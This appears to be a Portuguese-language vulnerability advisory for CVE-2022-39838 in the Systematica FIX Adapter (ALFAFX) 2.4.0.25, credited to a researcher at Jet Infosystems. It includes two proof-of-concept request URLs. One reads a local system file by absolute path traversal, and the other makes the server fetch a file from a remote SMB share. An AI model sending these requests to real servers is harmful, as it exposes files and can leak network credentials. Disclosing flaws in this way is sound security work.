
Exploit de prova de conceito para CVE-2022-39838 demonstrando inclusão remota de arquivos e travessia absoluta de caminho no Systematica FIX Adapter (ALFAFX) 2.4.0.25 por meio de requisições HTTP.
Systematica FIX Adapter (ALFAFX) 2.4.0.25 13/09/2017 permite inclusão remota de arquivos através de um caminho UNC compartilhado, e também permite travessia de caminho absoluto para caminhos locais.
PoC:
http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts
http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt
Controle de Acesso Incorreto
Systematica
Systematica FIX Adapter (ALFAFX) - 2.4.0.25 (Build 13/09/2017)
Remoto
true
Um usuário remoto pode obter acesso a um arquivo arbitrário no sistema operacional através de caminho absoluto. Além disso, o usuário remoto pode compelir o servidor vulnerável a solicitar um arquivo de outra máquina via SMB.
Ivashchenko Sergey (Jet Infosystems, jet.su)